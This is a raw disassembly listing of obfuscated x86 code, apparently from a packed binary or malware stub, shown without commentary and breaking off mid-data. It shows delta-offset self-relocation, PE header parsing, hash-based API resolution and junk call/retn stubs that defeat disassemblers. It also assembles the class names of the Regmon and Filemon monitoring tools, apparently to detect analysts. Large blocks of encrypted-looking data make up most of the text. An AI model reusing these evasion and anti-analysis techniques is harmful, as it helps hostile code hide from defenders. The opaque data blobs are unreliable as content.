[ebp+5F97285h] jmp ecx ; --------------------------------------------------------------------------- loc_5EC433: ; CODE XREF: sub_5EC37A+A6j mov ecx, eax mov eax, ebx add eax, [eax+3Ch] add eax, 0F8h mov edx, [eax+0Ch] add edx, ebx cmp dword ptr [ebp+5F92129h], 0 jz loc_5EC45F mov ebx, [ebp+5F92129h] mov eax, [ebp+5F90B41h] mov [ebx], eax loc_5EC45F: ; CODE XREF: sub_5EC37A+D1j push ecx push edx lea eax, [ebp+5F94346h] call eax mov edi, edx mov esi, ecx mov edx, ecx mov ecx, eax rep movsb mov byte ptr [ebp+5F91899h], 56h push 0D41F6D39h push dword ptr [ebp+5F908D1h] lea eax, [ebp+5FCC510h] call eax push 8000h push 0 push edx call eax mov eax, eax cmp dword ptr [ebp+5F931C9h], 0 jnz short loc_5EC4AB cmp dword ptr [ebp+5F912B5h], 0 jz short loc_5EC4C4 loc_5EC4AB: ; CODE XREF: sub_5EC37A+126j push eax push ebx mov eax, eax mov eax, 421h mov [ebp+5F915DDh], eax lea ebx, [ebp+5FBF3EBh] call ebx pop ebx pop eax loc_5EC4C4: ; CODE XREF: sub_5EC37A+12Fj cmp dword ptr [ebp+5F912B5h], 0 jz short loc_5EC4E4 push eax push ebx mov eax, 421h mov [ebp+5F915DDh], eax lea ebx, [ebp+5FBF08Ch] call ebx pop ebx pop eax loc_5EC4E4: ; CODE XREF: sub_5EC37A+151j mov eax, eax lea ebx, [ebp+5F92129h] mov eax, [ebx] or eax, eax jz loc_5EC4FD mov eax, [ebx] mov ebx, [ebx+4] mov [eax], ebx loc_5EC4FD: ; CODE XREF: sub_5EC37A+176j mov eax, 4B41h call near ptr loc_5EC511+1 adc dword ptr [edx-236BCE9Fh], 245E66A5h loc_5EC511: ; CODE XREF: sub_5EC37A+188p fimul word ptr [edi] sub_5EC37A endp ; sp-analysis failed mov ebx, [eax+eax] ; --------------------------------------------------------------------------- dw 0 dd 10E8h, 7B1C3C00h, 0ECC95FB1h, 722EEAC6h, 0CBE05984h dd 870FF4h, 59000000h, 81FEB15Fh, 0D931C7h, 28F0F00h, 0B2000000h dd 68C9h, 13E80000h, 8D000000h, 7D2FC3D6h, 2EADCB77h, 66D37DB3h dd 0BA4332ACh, 59F526CBh, 3830F5Eh, 0F000000h, 48BD3B7h dd 9CFBB37h, 0C0815EF6h, 0AD4E4A1h, 6800Fh, 0EB810000h dd 502FA219h, 0A8D4E881h, 0BF0F4383h, 27E881D3h, 66215312h dd 50C0E4BAh, 0D844DB9h, 37048F02h, 0E9D3BF0Fh, 13h, 0E7294760h dd 375BE66Ah, 5ED52280h, 0CBA2D119h, 8384B0AEh, 0CE804EEh dd 64000000h, 4A26AE69h, 0DE2805CCh, 66138B04h, 93C6C981h dd 0D0FE815Bh, 0FFFFF27h, 1285h, 0D0B70F00h, 1FE9h, 25FE5700h dd 7FA5C74Eh, 8036394Eh, 6FE961F3h, 55FFFFFFh, 0A2DE9EFBh dd 2F8365E2h, 0D06E90BDh, 12C80CEBh, 0FD8F2F32h, 31A7620Bh dd 0DFE92CC5h, 0E9000008h, 8D3h, 65977A55h, 8BB15E82h dd 5F857E6Ch, 8AB25378h, 54887F6Bh, 0A81443BEh, 0B41ABD5Fh dd 9B42A557h, 0AE0FB66Eh, 6217BD5Fh, 9575C8B1h, 0D9A04523h dd 758AF320h, 1A072395h, 638C3EF4h, 5A9D6FAAh, 0A5C27974h dd 383FA84Eh, 179D5795h, 75474B9Ah, 6841B457h, 5BB168A1h dd 8E6F65Ch, 5874B103h, 3641AA4Ch, 0B7827398h, 36F00D55h dd 0A2CEE66h, 0D108FFEBh, 9377A428h, 0E3BB422h, 962B8CEDh dd 0FA1C0929h, 62F148F1h, 29962B17h, 0A847E794h, 0DC279144h dd 0B1AC00D9h, 496600C6h, 0A38409C0h, 8D2ACF36h, 5D4D92Ch dd 0C9EFF8F1h, 9C242F1Dh, 39F0C9F6h, 40BB3B4h, 538F1991h dd 0AB296DAEh, 10A72F96h, 40B85EAFh, 25A75243h, 2708499Bh dd 0B03FCF24h, 0E643F90Ah, 447D001Bh, 0C8F32395h, 8EA05D41h dd 38A795Fh, 946F5966h, 54EACF82h, 695E4CC5h, 9D496F7Dh dd 2C24ABA7h, 0C72592BFh, 51985144h, 0F129BFABh, 9E930B48h dd 0B4CE0065h, 0AD260B5Bh, 0C9CC05AFh, 0CF0AFFDEh, 0F49617FDh dd 48EE7628h, 25E407EEh, 775F18FCh, 0E295885Ah, 8AF0934Ch dd 7C586CADh, 0D7857BDh, 5886F2C7h, 0BB5B9677h, 0AF0E1E4Ch dd 20B6A25Ah, 2CCD3FFAh, 808D327Bh, 5C785C0Dh, 0E891C2A1h dd 65905890h, 50DD71B8h, 519697C3h, 28AD5A96h, 5F8ADE9Bh dd 452BD8Ah, 4B1A626Ah, 16AAEE03h, 0E7510B00h, 9A25D219h dd 0C245A534h, 0E2D31ECBh, 203BE707h, 6000000h, 0BF5D203Bh dd 2DDA8A5Fh, 73CE3309h, 26A7608Ch, 8595E873h, 15122996h dd 5CDF001h, 0CE500000h, 0A9628C73h, 9685EF8Ah, 5C7D6C29h dd 0BC7524A9h, 67705B9Ah, 964B8685h, 0AC82E13Eh, 6B8B4B43h dd 0D182B782h, 29961BA8h, 5E7F7825h, 0CB6B3EAFh, 9C45BE2Ch dd 6154BB23h, 0F7D6688h, 3944CF2Ah, 0B629961Bh, 88D625C9h dd 0A4A9EEE6h, 0CDC04F6Fh, 325B81Ch, 0AF0EDD71h, 7A85A25Ah dd 0E396C552h, 60299603h, 95676EA3h, 5FC879FBh, 3CD21700h dd 0FAFB0EADh, 56AD1152h, 6F596608h, 98C7962h, 45149950h dd 8195725Ah, 83BE4B72h, 649C527Ch, 0CA0E6D79h, 2BFEEF3Ah dd 24C6310Bh, 0B44BEEDFh, 0D802FD06h, 0FFEC0B2Bh, 0F7E4DB06h dd 3CD2870Eh, 0ED16C4A3h, 2DDCFFE8h, 0F0EED4A8h, 5DFF374Bh dd 805E8C83h, 6547937Ah, 0BB5C8083h, 0B7857C59h, 0C96D7C27h dd 0D198AC86h, 0FB0CB079h, 0F914B946h, 271125F4h, 0FBB1EC0h dd 0FDBC31F8h, 0B2BD802h, 840902ECh, 7E301E19h, 1E598C3h dd 725BD95Bh, 0D87E2B9Bh, 0C826B319h, 62975243h, 5B01C8B1h dd 915845D9h, 0A06F4F68h, 3F3FA48Eh, 81000001h, 0BB3268FFh dd 3FFA13BCh, 852059FAh, 35962996h, 9A0CDDD0h, 8EF49EDh dd 27AC21E2h, 29968556h, 0EBA122Fh, 0CB448716h, 735F9EB0h dd 0A68959BBh, 674934DFh, 0D9C62996h, 3F2DE5F3h, 379A40AFh dd 0A9807594h, 0B319BC60h, 8940C526h, 0F16F6504h, 48C32920h dd 232C2B64h, 964C85F8h, 0CC050229h, 0B922CB2Ah, 5B13F914h dd 0A5A464F4h, 595E4F9Ah, 181F9671h, 0ED5F56B7h, 1B12CC1Ah dd 87703E2Ch, 6493A362h, 9A795F7Ah, 96860079h, 49807D29h dd 3E3F9544h, 7DFB495Fh, 0BC85BC75h, 963DDE9Fh, 88AE5B29h dd 66A547AEh, 0A364886Fh, 66A94532h, 0A364886Fh, 0BFABDA32h dd 1BE65BDFh, 963D7D00h, 0E90DFA29h, 0FEE0CC1Ah, 0CCF0D70Dh dd 2734DF09h, 29963D56h, 9A1BD6D3h, 0D4D92C8Dh, 0E8D3CC05h dd 34FDAC21h, 5627340Dh, 0CC29963Dh, 0AF7E720h, 0F61FBE4h dd 0AA449271h, 0B85EB10Dh, 0F8599139h, 9AE3708Eh, 1729958Eh dd 2928826Ah, 2E517D2h, 2A72EDBh, 0C134D7F5h, 8C8DE3CBh dd 0DC4294Ah, 291066E9h, 40CF2996h, 4E785C12h, 515EABBFh dd 0AA11E076h, 9F3DBA5Fh, 9EB0696Ch, 618C7A94h, 908425A8h dd 8A32B89Ah, 5FF977Dh, 0BB241D5h, 8A5DF7FEh, 9C6D505Ch dd 9738BF68h, 84AA7F76h, 95EB91C1h, 96795529h, 85622D1Fh dd 1EA46251h, 0DCE31ED3h, 8FEA29F2h, 0C2995A4h, 6D3DA0Fh dd 0B8421BF0h, 75054D2Fh, 0D8FFFFFEh, 9C87F221h, 17042995h dd 69FF41F7h, 0DB310831h, 1C6D12E2h, 2F223409h, 2F8EBA57h dd 0D1E3A8C2h, 86D227AEh, 0F9936A4Ah, 0E32EE382h, 0C1C547F2h dd 9DCD9AF3h, 0F411BA25h, 0E32A9362h, 0F221D841h, 239CAD87h dd 0F8F71704h, 0B8BF36D7h, 0EB1CC013h, 493EAF26h, 24A8511Dh dd 0EFA539Fh, 661724A9h, 0E3239CB9h, 0FCE11026h, 0E30CEB11h dd 0B960193Ah, 20DD239Ch, 21C730E9h, 0D6934CE2h, 0F204FFE9h dd 9CB91B5Fh, 0D8379723h, 1CE9D2D5h, 6542399h, 0A92BCC58h dd 4E3BEE60h, 31D06691h, 67A64725h, 952B5AB2h, 4E00842Ah dd 0EA98EA8h, 36B559AEh, 83F05799h, 0AF5EC04Fh, 0F4D877ECh dd 7AAF6067h, 549238BFh, 6DD35F66h, 1C32F7E4h, 0DBAE26C3h dd 66A1CA9Bh, 8F1945E9h, 0EC119136h, 0E42DD421h, 0BE1DC23Dh dd 34E5E81Dh, 0D21F8FDh, 8A67F320h, 7D2A2996h, 97C47DC4h dd 1DA47EE6h, 0E495A663h, 611DA47Eh, 0B0A892A4h, 0BA45FC26h dd 0D461F512h, 0A58E5B47h, 1C918E23h, 0C63CB01Bh, 0C147C3B7h dd 0F44DF43Dh, 0A2D11667h, 80969317h, 6DAC0FB6h, 0A2D0CBAEh dd 645B4817h, 9E438E77h, 0A851BC21h, 0A2D1126Bh, 7C928F17h dd 0A04EC663h, 0B1F5CD66h, 0E1D87B9Bh, 7440D2A1h, 6BA44CB3h dd 0A95C7D6Ah, 232FCE60h, 0B567A249h, 0BA5FAC12h, 81A9D47Fh dd 7926EE72h, 526D0CD5h, 42179E6Bh, 399E3DACh, 0B4757893h dd 7281D6A7h, 9B5653EEh, 6329AB56h, 49A730D8h, 53418A02h dd 0D1182D4Ch, 16C3A43Dh, 0D4F9FEEFh, 0F716B439h, 142D33EBh dd 0D2239AC0h, 90CC20EDh, 0A160F6A8h, 0B01FD1B5h, 0D0E7760Bh dd 2DF91DEEh, 157h, 24E307F0h, 31CE2C12h, 2A0D808Bh, 688E43C0h dd 54786589h, 44F61B3h, 0AFF577FCh, 344DBF7Ah, 798A3F77h dd 22F5D605h, 1FF983CAh, 95C989F4h, 0D0190629h, 0E70706E7h dd 0D340AA4Dh, 95C93548h, 0CA41AB29h, 0F3B016C3h, 0E227E00Ch dd 0D72E9B3Ah, 0C2100425h, 23CD1FDFh, 4831E217h, 0C5299614h dd 13B736D8h, 12E750F4h, 0D1C447A5h, 1482FB18h, 2FF2996h dd 3ADDFDECh, 96146019h, 7203DD29h, 0F0DA6D6Dh, 0CB76BB76h dd 15828B34h, 876253B6h, 0C42ACD67h, 9B56B915h, 0BA5F7E69h dd 95E0E099h, 4D6E5D29h, 0AD6435B8h, 6057C064h, 320A8B7Ch dd 0C5826803h, 62F43D82h, 8B12A93h, 0E821F8FDh, 2ECD334h dd 0EAD58409h, 2F10502h dd 0BF42DDAh, 8B32CE3h, 35F4ED01h, 96825326h, 0E9D3D029h dd 13FAE3C4h, 750813EEh, 0F2299682h, 0DFC82135h, 18EFDBFCh dd 880DC495h, 0C9CC3B9Fh, 4DA08FFh, 5BF841FEh, 29968222h dd 0AD4CE29Fh, 8EFC8A1h, 0DCB025E6h, 0C9285D29h, 0A2CE56Ah dd 2B8BEE2Dh, 0FE082996h, 329FA866h, 0CD6FBA71h, 0AE1F0627h dd 61000000h, 818C31CEh, 75B95D0Ch, 97E271C8h, 14299685h dd 0FC84C767h, 0CF299685h, 0A3668572h, 28D77732h, 0CEC6663Ah dd 8595E873h, 15122996h, 854E2FECh, 0DECB2996h, 0C815B938h dd 0F527E223h, 4E9E8D2h, 1CD58409h, 66CD3FE8h, 4C80500h dd 0EACF1E30h, 0F2D9E61Bh, 9A3DF717h, 4336E532h, 0C02995D4h dd 2ED30EC3h, 95D48CEDh, 0E51C0929h, 95D44336h, 33C3C029h dd 9FEDE09h, 41CAF4D3h, 5C817E9Bh, 933B3CB1h, 69A0797Ch dd 42C726C5h, 0C8B16297h, 452995D4h, 9B7CB658h, 0BD51BA24h dd 0C87C912Eh, 81Bh, 320F6500h, 4EE023C5h, 0AC658CE8h dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 54571BCCh, 4C7815Fh dd 83000000h, 3C8704EFh, 89515C24h, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 241C895Ch, 81E68956h, 4C6h, 4EE8300h dd 5C243487h, 50243489h, 0AA5618B8h, 0BA1F0533h, 0C389D256h dd 8324048Bh, 0EC8104C4h, 4, 83242489h, 5E042404h, 8BA52h dd 0F2010000h, 24048153h, 0E815B2Eh, 2A81028Fh, 0E815B2Eh dd 24348B5Ah, 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch ; --------------------------------------------------------------------------- sbb al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5734FA ; --------------------------------------------------------------------------- db 0B8h dd 0B87CD518h, 6011865h, 0D38BC503h, 16EBh, 4 dup(0) dd 1010000h, 0D8h, 6A0601h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0F5D203C3h, 24048950h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F8C35242h dd 0FFF853CEh, 180DBD8Bh, 6A05F9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 24C35141h, 620020A2h, 8B665C7Ch dd 6A006AD1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 6552C356h, 0E5BD3133h, 8D05F927h dd 11AD285h, 6850F06h, 9000000h, 0F92885BDh, 52505005h dd 0F525057h, 59585A31h, 0FB9310Fh, 5A18F56Ah, 24048958h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 21C35343h dd 0DC1662E2h, 8D58D23h, 6A05F9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 1AC35040h, 0B6ACA96h, 5A87ECB8h dd 60D3B70Fh, 0D358D89h, 8B6605F9h, 6A61FEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 41C35747h, 0C03B5568h dd 66939761h, 0FFCCC8BBh, 0F913ED95h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 12E9DAh, 96CC0000h, 8AF858E4h, 175B0605h, 2C8AD98Ch dd 1CFBE3C7h, 67AE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0E19D011Bh, 0E805F914h dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6011AD7h clc push 0 push edx call sub_5ED0D7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED0D7 proc near ; CODE XREF: .XComp0:005ED0CFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5ED0D7 endp ; --------------------------------------------------------------------------- cmc mov gs, [esi+66h] xchg eax, ecx dec eax fldcw word ptr [eax+2Ah] icebp daa das xor dword ptr [esp], 2F27FE8Ah push 0 push eax call sub_5ED105 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED105 proc near ; CODE XREF: .XComp0:005ED0FDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5ED105 endp ; --------------------------------------------------------------------------- db 1Eh, 0ECh, 0ADh ; --------------------------------------------------------------------------- mov ecx, 166131C4h movzx edi, si call dword ptr [ebp+5F91AEDh] mov [ebp+5F9198Dh], ebx lea esi, [ebp+6011915h] push 0 push ebx call sub_5ED13D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED13D proc near ; CODE XREF: .XComp0:005ED135p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5ED13D endp ; --------------------------------------------------------------------------- db 68h, 66h, 8Bh ; --------------------------------------------------------------------------- stc mov dword ptr [esi], 6D676552h push 0 push ebp call sub_5ED162 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED162 proc near ; CODE XREF: .XComp0:005ED15Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5ED162 endp ; --------------------------------------------------------------------------- dw 0EC59h ; --------------------------------------------------------------------------- mov eax, ss:0DCF75116h mov ebx, ds:[ebp+5F9292Dh] mov dword ptr [esi+4], 6C636E6Fh jmp loc_5ED19B ; --------------------------------------------------------------------------- db 6Fh, 0E8h, 12h ; --------------------------------------------------------------------------- push ebx fdivr qword ptr [edx] push eax sbb eax, 3D21215Dh push eax push es loc_5ED19B: ; CODE XREF: .XComp0:005ED188j mov dword ptr [esi+8], 737361h xor bl, 5Eh push 0 push 0 push eax call sub_5ED1B2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED1B2 proc near ; CODE XREF: .XComp0:005ED1AAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5ED1B2 endp ; --------------------------------------------------------------------------- cmp bl, al test eax, 7C3F52A4h mov ecx, [ebx] mov edi, [ebp+5F90961h] lea eax, [ebp+6011915h] push 0 push ecx call sub_5ED1E2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED1E2 proc near ; CODE XREF: .XComp0:005ED1DAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5ED1E2 endp ; --------------------------------------------------------------------------- dw 2613h dd 5F5DDB85h, 0E85053C5h, 5, 0CFABA57Bh, 28D0F77h, 50000000h dd 4895F59h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0FD061A3h, 95FFFBBFh, 5F914D5h, 0C55958Bh dd 0C00B05F9h, 39840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 4EBF76C3h, 6E8h, 0E87A7F00h dd 0F164C77h, 288h, 5BCB8B00h, 434E9h, 0E892B500h, 4, 12Ch dd 0F5017B7h, 1B81h, 8B666000h, 10E8F0h, 0F1B70000h, 0AE441AA4h dd 313BC49Bh, 5E6A0F2Eh, 615F3000h, 424448Bh, 8C0Fh, 8B0000h dd 8B525060h, 0E9310FDFh, 5, 771E5025h, 0F585A32h, 389h dd 0CA8B6600h, 24448961h, 8B525004h, 60310FD0h, 0AE8h dd 39DE5700h, 63E001A6h, 5F8180ECh, 5A61DF8Bh, 7E95858h dd 78000000h, 861AFE72h, 890F38D0h, 1, 0ED95FFF9h, 6A05F91Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 8E71C352h, 2E9ECBB2h, 0B70F1B9Eh, 15B58DDAh dd 6A060119h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0FDAEC352h, 0FF30B172h, 893956F0h dd 0F927A985h, 5E905h, 81AA0000h, 0C7BEAB4Eh, 34383106h dd 859D8B36h, 0C705F914h, 2D370446h, 0E9603134h, 12h, 0E1332880h dd 8DF63A52h, 4A8FD7DEh, 3FA23D6Bh, 0BE8418Ch, 62000000h dd 0E68EFD52h, 7B7841E7h, 0FB8B36EDh, 46C76159h, 8, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 8F768AABh, 8BBBE5F3h, 6A006AD3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 6464C357h dd 1002EE54h, 0D78166EAh, 858D228Ah, 6011915h, 0C88A50F5h dd 9240489h, 0F931B98Dh, 0D595FF05h, 8B05F914h, 0F929459Dh dd 55DF8105h, 0B2610B2h, 30840FC0h, 51000000h, 28BDBD89h dd 0E95A05F9h, 275h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 6AC35646h, 0B18589EAh, 0E805F924h, 4 dd 12Ch, 0DE9h, 2F40AB00h, 0AB4DED30h, 88A506F7h, 5050CD85h dd 9E852h, 3EFA0000h, 0ADAE3E24h, 0E80316D3h, 0Eh, 0FB47C250h dd 6818B5A0h, 0E0373B52h, 595F0039h, 91B6310Fh, 448B585Ah dd 52500424h, 8B665250h, 5A310FD0h, 8B310F58h, 8B585AD9h dd 66525000h, 310FD08Bh, 585AD4B1h, 4244489h, 11E8h, 9F32B000h dd 90BA66B9h, 4A2F3AE5h, 4138D80Bh, 0BA664BABh, 585962B2h dd 11E8h, 0C649E800h, 3E0FA26Dh, 627F69E7h, 4FBAB51h, 8D0B2556h dd 5F907E9h, 0ED95FF5Bh, 6A05F91Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0DF38C355h dd 2566BA04h, 11BD31E6h, 6605F919h, 2410F181h, 1915B58Dh dd 8A0F0601h, 6, 1818D8Bh, 6C705F9h, 656C6946h, 0EE8h dd 999D9D00h, 0F7161FC0h, 0FE2BC48Bh, 0E8C1B091h, 11h dd 607F7741h, 7D2C482Eh, 0F68E8DA6h, 0A6C3FFB9h, 0BD8D8BFBh dd 5F05F917h, 446C75Bh, 636E6F6Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 52C35242h, 0D1D78072h, 89A1E670h dd 0F900D19Dh, 846C705h, 7373616Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 65C35646h, 1FD49949h, 0C7F9B3DAh dd 0C46h, 830F0000h, 0Eh, 9E9h, 6E639A00h, 1DCB07E1h, 6A13D6h dd 15858DF5h, 6A060119h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0ADE6C356h, 294BA5DBh dd 0F910198Dh, 0BE99005h, 58000000h, 11D3560Ah, 0B43B5901h dd 0F508712h, 1784h, 12E900h, 16660000h, 0D833D1B8h, 0FE31EB50h dd 2BB3BC5Fh, 8786EB1Fh, 0B58B6090h, 5F92AD1h, 76EF8166h dd 95FF611Bh, 5F914D5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 81C35141h, 7985EC36h, 76B98A14h, 0B5B8F0Fh dd 0F840FC0h, 66000000h, 0E981DBBFh, 11h, 31858D0Bh, 14E905F9h dd 33FFFFFAh, 0F931419Dh, 85B58D05h, 6605F972h, 0B8D78Bh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 831EC351h, 2A1E4DDEh, 0DE920h dd 6AA70000h, 93998E26h, 995C92AAh, 0FFF2B8E1h, 52006AE6h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 6651CB0Bh, 8B5FDA8Bh, 0FDED55C1h, 0F67A5E75h, 0E669A476h dd 0FD49BC56h, 0FD241032h, 0FD243F90h, 0FD2428D1h, 0FD24A037h dd 0FD246521h, 0FD24871Fh, 0FD24F6E4h, 0FD244EC5h, 0FD2412B0h dd 0FD243FFFh, 0FD2428B4h, 0FD24A229h, 0FD24658Ah, 0FD24846Bh dd 0FD24F534h, 0FD244CF0h, 0FD241044h, 358A259Dh, 0D6A22295h dd 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h dd 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h dd 0FD7A5E75h, 0A34AC176h, 0A348BA75h, 0FD7ACB75h, 0FC7BE475h dd 0FC7BF374h, 0F8B29074h, 701ABC75h, 0FC5F1AF0h, 86FFA673h dd 707C9654h, 0FC5F91F0h, 0C6FF6C73h, 707CF354h, 0FC5FE1F0h dd 8AFF3573h, 707C5F54h, 0FC5ED7F0h, 0C2FF1E73h, 707CCA54h dd 0FC5E52F0h, 0BEFF7B73h, 707C7854h, 0FC59E9F0h, 0BAFFD773h dd 707C2E54h, 0FC59F0F0h, 0B6FF4273h, 707CE454h, 0FC598FF0h dd 0B2FFF073h, 707CBD54h, 0FC5986F0h, 0A6FFA673h, 707C9654h dd 0FC596FF0h, 0AEFF6C73h, 707CF354h, 0FC59BAF0h, 0AAFF3573h dd 707C5F54h, 0FC59F7F0h, 0A6FF1E73h, 707CCA54h, 0FC5EF7F0h dd 96FF7B73h, 707C7854h, 0FC5E8DF0h, 92FFD773h, 707C2E54h dd 0FC5EC3F0h, 8EFF4273h, 707CE454h, 0FC5E6FF0h, 0A2FFF073h dd 707CBD54h, 0FC5E8AF0h, 9EFFA673h, 707C9654h, 0FC5FA4F0h dd 9AFF6C73h, 767CF354h, 45A3CF0h, 49FF3570h, 767C5F54h dd 45A0EF0h, 45FF1E70h, 9C7CCA54h, 11F1B0B6h, 0FD7AF29Dh dd 17FB2375h, 0FB7B9EBDh, 0F53FD525h, 0DCC9ADFDh, 34229174h dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 0FC585598h dd 0C7FFA073h, 7D7C2E54h, 0FC5BADC8h, 0B409CF73h, 4B75E4C5h dd 89BAF9B5h, 45EF8635h, 0BD7CBD54h, 452B96FEh, 0FD7A2F7Ah dd 0DCC2028Ah, 48F7CD74h, 0FB7BC44Eh, 50FCC6F8h, 0FD7E4B9Dh dd 456FCF75h, 0FD7A5E76h, 0DCC2BA8Ah, 48F79174h, 0FB7BEA4Eh dd 50FCD1F8h, 1F23228Ah, 0C7F787BCh, 0A07CBD54h, 0A320052Dh dd 6D92EC2Ch, 4D7A9777h, 5779C1CDh, 0DCCE708Ah, 3ED1F474h dd 0FD78079Dh, 9BC2DA75h, 9B5954CDh, 49EFD0DEh, 9B7C9654h dd 959208DEh, 0B7AE577h, 8872F336h, 49EF866Eh, 4D7CBD54h dd 0AD7954C5h, 0DCCEBA8Ah, 9B209174h, 9B7E2BF6h, 561C277Eh dd 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh dd 0DF709491h, 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h dd 0A77ABC77h, 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h dd 0D30FED74h, 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h dd 3D59A568h, 0DF709491h, 4DBA07F5h, 6885B5FFh, 0FB7BD3C1h dd 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h dd 359261F4h, 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h dd 61CA9DDFh, 0FC5BC7DFh, 451C9775h, 561C4A13h, 0FD7B439Dh dd 0FD4C1A75h, 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h dd 0FD7A699Dh, 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h dd 0FD7ABC65h, 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h dd 0FD7AE2CDh, 45EF0D75h, 707C7854h, 0FC5BC3C0h, 518A5D73h dd 2D02C7Fh, 0FC5B23E0h, 0E5920873h, 4D7AE574h, 5779F825h dd 2844B9Dh, 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h dd 0E1926127h, 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah dd 5722EEDFh, 57929FB6h, 0C923C22h, 0A77ACB75h, 3F5122FEh dd 747E1AF6h, 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh dd 0CCFF69B6h, 7D7CCA54h, 0FC5BD4C8h, 0EC0FF373h, 0DCD9FCF8h dd 152ABA74h, 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh dd 0C30D8Ah, 9CCA0D8Ah, 0CCF787DFh, 7D7CBD54h, 0FC5B6FC8h dd 0F10F2F73h, 0DCD912F8h, 152ACD74h, 0FD7AE4DEh, 0FD7E4AB6h dd 68857975h, 0FB7B9DCDh, 0DB7AC3F8h, 0F9F02974h, 4DB93D6Dh dd 562D619Ch, 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h dd 0DCCECB8Ah, 4ACE2974h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h dd 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h dd 49EF68B6h, 7D7CCA54h, 39FAEA91h, 9B7542F5h, 15D12EDEh dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h dd 0DCC2708Ah, 60F7F474h, 0FB7B58E2h, 3E39A0F8h, 0FD7A4ECDh dd 45EFD075h, 7E7C9654h, 35F1CEB5h, 49EF1A89h, 577CF354h dd 15B98E97h, 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h dd 1608CB75h, 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh dd 17FB0475h, 0FB7B0965h, 7D86EAFCh, 0FC5B78CFh, 7975E573h dd 0FD7AF2ECh, 0FD7A73CDh, 45E84375h, 